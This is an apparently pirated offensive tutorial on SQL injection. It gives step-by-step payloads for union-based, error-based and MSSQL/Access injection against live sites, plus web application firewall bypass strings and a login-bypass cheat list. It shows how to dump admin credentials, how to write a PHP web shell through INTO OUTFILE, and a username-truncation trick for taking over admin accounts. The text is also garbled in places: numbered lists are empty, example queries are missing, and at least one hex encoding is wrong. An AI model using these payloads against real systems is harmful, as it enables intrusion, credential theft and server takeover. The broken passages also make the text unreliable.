Utilmate Ebook SQL Injection
Utilmate Ebook SQL Injection
Or anything similar to this, it IS vulnerable to SQL Injection , about 95% of the time, you will face common errors
as well.
There are more ways to tell if its vulnerable. If it doesnt throw out an error on simple SQL injection
attacks: thats by checking if images or other things are missing on the page, sometimes when the SQL
errors out it will be unable to call certain images and they wont show, this is a great example to see if its
vulnerable too, if your page is missing text / has less displayed than before.
So keep your eyes open to see if your target is SQL injectable.
Order by
Procedure analyze
Group by
Example: If we use group by a certain number, and its wrong it will state: Unknown column 21 in group
count however if its the right amount of columns it will spit out: Cant group on count
Order by will work as follows, lets say we have a vulnerable site that has 20 columns.
www.site.com/view.php?id=25 order by 19will show the page, still no errors.
www.site.com/view.php?id=25 order by 20 will show the page still
www.site.com/view.php?id=25 order by 21 This can give multiple errors like:
Unknown column 21 in order clause
Now that we figured out how many columns our target has, we can start exploiting it.
We want to explore which number(s) are showing up on the page.
We will do that by the following query:
www.site.com/view.php?id=25 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-With the query we just entered, numbers may or may not pop up on the page. If none pop up, first thing we will
do is check out the source of the page, and search for numbers. If youre not certain if thats just a number from
the website itself or our query, do the following:
www.site.com/view.php?id=25 and 1=0 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,16,17,18,19,20
We are telling the server that 1 equals 0, which in mathematical terms is not true, which forges our query to
return false, which will then error out our request, in 90% of the occasions it will now show your columns.
Now that you found the column numbers on the page itself, pick a number which you find the easiest to see / find
on the website (that pops out of the page at you).
Lets say in the example I have chosen the version of the MySQL they are running on is 5.
www.site.com/view.php?id=25 and 1=0 union all select
1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
This query will show us the exact version of MySQL they are running which is fairly important, since MySQL comes
mostly in 2 flavours, either version 4 or 5 (yes there are lower versions, but finding those is like finding a needle
in a haystack), A quick explanation on that, 4 has no information_schema table. Therefor you either have to
guess table / column names, or you would have to brute force them with a wordlist or something similar.
Now to exploit our site:
We need to know what tables our target database has, for that query we can use information_schema 90% of the
time (unless youre on MySQL 4), to do so we use the following query:
www.site.com/view.php?id=25 and 1=0 union all select
1,2,3,4,concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables
In this query we used concat which is a statement in SQL that concatenates the amount thats in the table /
columns.
We have the following functions to grab all the data from either a table or column:
1. Concat
2. Concat_ws
Concat_ws stands for concat with separator, which is able to use as following:
Concat_ws(:,username,password) This function will put our separator the : sign between every upcoming
column / table we select.
3. Group_concat
Group_concat will return all strings within a certain group.
As we do this query it may result in showing all of the table names from a certain database or it might just show
you 1 out of all of them, or it might show a really big mess.
Therefore we will change the query to make sure we can view it as best as possible:
www.site.com/view.php?id=25 and 1=0 union all select
1,2,3,4,concat_ws(:,table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.tables
Which results in showing the table names with a little separator sign, therefore easier to read.
What if you CANT view all of the tables? There are a few tricks for this:
1. Limit (Limit says what it does and limits it to the users request, to use this in a query we use it as: LIMIT
1,1-- , at the end of the query we did. This will show your table names 1 by 1, and can be used for any
table / column or data you try it on. By increasing the first number to a larger one like 2,1 3,1 4,1 etc we
will see the table / column / data thats on the 2nd row or more.
Now that we know our tables names you might find something like users, or maybe something like admin, now
we want to see all the columns within that certain table, we do that with the following query:
www.site.com/view.php?id=25 and 1=0 union all select
1,2,3,4,concat_ws(:,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns
where table_name=admin
What we did here is, we requested all the columns in the admin table, from information_schema as that table
holds an internal map of the database (tables / columns etc.)
Doing it like this might give you an error because of the php settings for the server (hosting admin), if magic
quotes is on we will need hex encoding to bypass it.
What we need:
http://www.swingnote.com/texttohex.php
We simply put in the name of the database we want, which was admin in the example.
Which will output for us: 61646d96e
However for this to work 100% we need to add: 0x before our numbers. Which would result in this query:
www.site.com/view.php?id=25 and 1=0 union all select
1,2,3,4,concat_ws(:,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns
where table_name=0x61646d96e
Now that its showing all of the information from the table, and we know which columns we are working with, we
want to get to the data they store!
In my example we will use the following:
ID Admin Name Fullname Password Email
As you see we want a certain amount of info from that table, personally I would go for Admin and Password,
which we use the following query to obtain:
1=0
1=2
DIV by 0
99999999
Using the sign before the number
1.
2.
3.
4.
5.
Find out if its root user (we do that by using user() in our vulnerable column).
If its root user, we have to check privileges of the user.
We have to find the full path of the current user.
We have to test if the server has magic quotes on or not (IMPORTANT!).
Take over time :D.
So lets explain it some more: First we need to find out if our user is the root we do that with the following query:
www.site.com/view.php?id=25 and 1=0 union all select 1,2,3,4,user,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from
mysql.user
So in my example I am currently the root user, Im like yay cool, but we arent there yet my young Padawans!
Now that we know its root, we check their privileges by using the following query:
www.site.com/view.php?id=25 and 1=0 union all select
1,2,3,4,concat_ws(:,user,file_priv),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
If it results in the output:
Root:Y
Then we have a bingo, and we will be able to use INTO OUTFILE to upload a shell, now lets continue and see if we
can find the FULL PATH to upload a shell on, (The Full path is important as an user is bound to a certain path with
their site)
Sometimes we can get lucky getting the full path, but not all SQL errors will spit it out.
Tip & Tricks to spit out Full Path Disclosure:
1. Use [] before the = sign, this will error out as its not valid.
2. If that doesnt work, try with either tamper data / livehttpeditor / cookie editor to edit your
PHPSESSIONID or COOKIE to 0, then refresh it (As the session / cookie wont be valid it will yet again error
out).
Now that we found full path, we can try and upload a BASIC php shell to execute commands for us, we do that by
using INTO OUTFILE. Let me show you a quick example:
www.site.com/view.php?id=25 and 1=0 union all select 1,2,3,4,Hello
world,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 INTO OUTFILE /home/mx/public_html/hello.php-If we are allowed to create a new file in that directory it will now have created hello.php on our www.site.com.
As my full path is: /home/mx/public_html
Common errors:
1. Error code 13 (The directory where you are trying to create a new file in is not writeable (777)).
2. Error code 2 (Wrong path)
Now to upload a shell we use this basic code to upload with:
<?php system($_GET*cmd+); ?>
So our query would look like:
Steps:
1.
2.
3.
4.
Now we edit our user agent just like we would add the sign in a normal SQL situation.
We edit our user agent to:
Now most likely you will get an error (check back to chapter 1 for which errors).
Now to check the amount of columns we do the following:
User-agent: union select 1-- -- (Note the double signs, make sure you have those!)
Now we keep going on, until we see results (numbers should show at some point)
With my example it will show at column 2.
Now all you have to do is follow Chapter 1 again, slightly different, but you get the point.
www.exmample.com/page.php?id=1 and 1=0 union all select 1,2,3,4,5-If we do that with a WAF protected website will we get thrown out with a 403 FORBIDDEN error, or the 404 not
found error.
Now that you know what a WAF is and what it does, I will show you some tips / tricks to bypass it.
Comments used to bypass:
//
-/**/
#
--+
-- ;%00
-- a
Now for bypassing some WaFs, the exploiting is quite similar to basic SQL injection, yet you have filters now that
you have to bypass, here are a few queries that CAN bypass (Its never 100%).
page.php?id=1/*!UnIoN*/SeLeCT (In this case we use /! As they are used as inline MySQL comments (sort
of php like) and we work with lower case and upper case letters to bypass it as well).
page.php?id=1+UNIunionON+SeLselectECT+1,2,3,4,5 (In this case we use the double text, its seems
rather weird but what it does, if a filter detects the union select, and the filter has preg_replace(php
function) to replace our union select with a space (or nothing), it will still show like:
UNION SELECT 1,2,3,4,5-page.php?id=1%252f%252a*/UNION%252f%252a /SELECT (In this case we are using HTTP encoding (hence
the %252f etc signs, to DOUBLE bypass certain WAFS (this method works only on 10-15% of the sites Ive
personally tested on))).
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+'UnI''On'+'SeL''ECT'
id=1+%55nion all /*!12345%53elect*/ 1,version(),3
id=1+UnIoN+SeLecT 1,2,3
id=1+UnIOn/**/SeLect 1,2,3
id=1+UNIunionON+SELselectECT 1,2,3
id=1+/*!UnIOn*/+/*!sElEcT*/ 1,2,3
10.
11.
12.
13.
14.
15.
Its only important to use these queries as weird as they look right now at the start of the query, meaning, the rest
of the query you could try normal like:
www.example.com/page.php?id=1 id=1+(UnIoN)+(SelECT)+1,2,username,4,5 from users--
What we are basically doing is using 2 queries within 1 to cause an error to display our webpage, spitting out the
info we want.
How it works out:
www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(versio
n()+as+char),0x7e))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)
In this query we are requesting the version() of the server, now to actually exploit it we will enter:
www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(table
_name+as+char),0x7e))+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand
(0)*2))x+from+information_schema.tables+group+by+x)a)
If you look closely, we are requesting the database name, in error based SQL Injection you will see it spits out the
following:
Please note that this is a real example, which means in this case that activate is 1 of the current tables, as we
perform error based SQL Injection, we have to remove the ~1 signs.
Now to move up the tables to view them all, we would like to see them 1 by 1 we change the LIMIT in the query to
1,1 or higher to 2,1 3,1 etc. till you are out of tables.
www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(table
_name+as+char),0x7e))+from+information_schema.tables+where+table_schema=database()+limit+1,1),floor(rand
(0)*2))x+from+information_schema.tables+group+by+x)a)
Moving the LIMIT up, which we learned earlier in this eBook, will show you the rest of the tables in my example:
Now we want to move along and gather as much info as possible about our target.
Tips & Tricks:
1. Websites in different languages use other names to keep their valuable data.
A small list of usernames / passwords that are kept in a other language:
Polish Username: Nazwa Password: haslo
Spanish: Username: Usuario(s) Password: contrasea
Dutch: Username: Gebruikersnaam Password: wachtwoord
This list can be endless but you get the main idea, how to figure out which table / column you have to request info
from to get what you want!
Now that we know which databases there are, in my case its Users with uppercase U (important in MySQL that
you keep any seen UPPERCASE or lowercase).
We want to extract the data. To do this we use the following query:
www.example.com/.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(column_n
ame+as+char),0x7e))+from+information_schema.columns+where+table_name=0xTABLEHEX+limit+0,1),floor(rand
(0)*2))x+from+information_schema.tables+group+by+x)a)
As we spoke before about using HEX encoding to get data from the database, we will have to use hex in this query
behind the 0x to get the FIRST column from our table, as you can see we will be working with LIMIT yet again, so
you know the drill, hit it up.
My query used:
www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(colum
n_name+as+char),0x7e))+from+information_schema.columns+where+table_name=0x7573657273+limit+0,1),floor
(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
0x7573657273 That is users in hex encoding, wich gave me the following result:
Duplicate entry 'id~1' for key 'group_key'
Now we use the LIMIT to go up until we find the column information we want, In my case I found the following
columns:
Id
Username
Password
Now to extract these values we will use the following query:
www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(conca
t(id)+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
Now it is important to note that I highlighted the parts you have to edit, in my query it looks like this:
I know that ID is a column in the table users.
I know that users is the database that my target is using, and where I want to get info from.
And last but not least we use the 0,1 to scoop up the other ids as well.
Now to get all the info from ID number 1 (probably the admin user), we will use the same query but now with
more than only ID in the query like this:
www.example.com/page.php?id=1+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(conca
t(id,0x3a,username,0x3a,password)+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+information
_schema.tables+group+by+x)a)
Make note that Im using 0x3a which is hex encoding for the : sign, to keep the query nice and easy to see, the
whole query results with this:
Now as I noted before, remove the ~1 and you got all the info like this:
ID Username Password (Encrypted in MD5(Read back if you dont remember how to decrypt it).
Well done, now you have mastered a small proportion of Error based MySQL.
Firefox
Firebug
Now lets go ahead and go to the register form of the website (this method works about on 10-20% of targets).
Once you see the registration form open, and you can enter a username password and maybe an email we will
open firebug, and inspect the username form, and check out if the admin has set a MAX digit for the user name,
like 10 characters at max?
Lets say our target has defined 8 chars as a username limit, we wont be able to exploit SQLi on it right? Now that
we know it only has 8, we can go on and exploit it to do so we use the following username:
admin x
admin = 5 chars, and 3x a space = 8 characters, and the x to confuse the MySQL database.
When successfully registered, we should be able to login as his admin account, with full privileges.
Yay that means we have all the info we need to properly request the ID Username & Password from our
database!
Bypassing logins
These are quite old, but still very useable these days, as I am still using this almost daily on certain CMSes.
Cheat list:
') OR ('a' = 'a
') OR ('1'-'1
'or''='
' OR '1=1
admin'-' or 0=0 -" or 0=0 -or 0=0 -' or 0=0 *
" or 0=0 *
or 0=0 *
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1-" or 1=1-or 1=1-' or a=a-" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
MsSQL Injections
The first thing we need to figure out is, when is a site vulnerable to SQL injection or not?
We can do this a few ways, depending on what kind of SQL injection attack vector we have.
Some examples how to figure out if its vulnerable or not for basic SQLi:
Now that we found our target, and we had the following error after our query:
www.asp.net/page.asp?id=563
We got an error like:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression
'id=563' ;'.
/en/includes/configdb.asp, line 23
Now that we see that we created an error, we want to make sure its vulnerable. Not all errors are a sign of a
injection point.
Lets continue our test by using the following query behind the number:
+AND+ 1=1#
Making it look like:
www.asp.net/page.asp?id=563+AND+1=1#
As we spoke before about the signs Im only going to explain what and 1=1 is for, you know math (I hope haha).
We simply check if 1 is equal is 1 if thats true, it should show the page normally
Now we want to know if 1 equaling 0 is any problem for our target?
www.asp.net/page.asp?id=563+AND+1=0#
At my end it spilled out the following error:
ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/en/pressread.asp, line 44
This can be seen as the same error of basic SQL Injection, now instead of saying unknown column 10 in clause or
something similar it says: database engine does not recognize 10 as a valid field name or expression, telling us
our columns are less than 10.
I changed from 10 columns to 7, which is giving me the correct result that I want:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in ORDER BY clause.
/en/includes/configdb.asp, line 26
This might seem like a complete failing error, but the page is loading, so I know I have 7 columns to work with,
lets try and show them on the page.
563+AND+1=0+UNION+ALL+SELECT+1,2,3,4,5,6,7#
I got this error spit out, basically telling us that it cannot complete our query without a database attached to our
query, there for I will be GUESSING that my target has a column named: mxisgod
Now again we use 1=0 to error it out to show our numbers onto the page, for me column number 4 showed up
so I will use that to exploit further with.
As you see above in our target, we see the number 4 after the > sign, if you want to be 100% sure that it is a
column that shows we can use: 4444444444 instead of a single 4, showing us a bigger range (doh).
My query used:
+and+1=0+union+all+select+1,2,3,4,5,6,7 from mxisgod#
We ignore the error and go on!
Now that we are guessing, we have to guess the rest of the columns within mxisgod too! Luckily for you this is an
example made by me, but most websites have standard names for their columns, like id password email, etc.
Getting the info!
Basically the same as normal SQL Injection for this example we have to use column 4 to get our info!
+and+1=0+union+all+select+1,id,3,4,5,6,7 from mxisgod#
And that should get us a number, now you can move on by yourself and guess the rest! If your confused, try
Googling for standard username / passwords for database columns!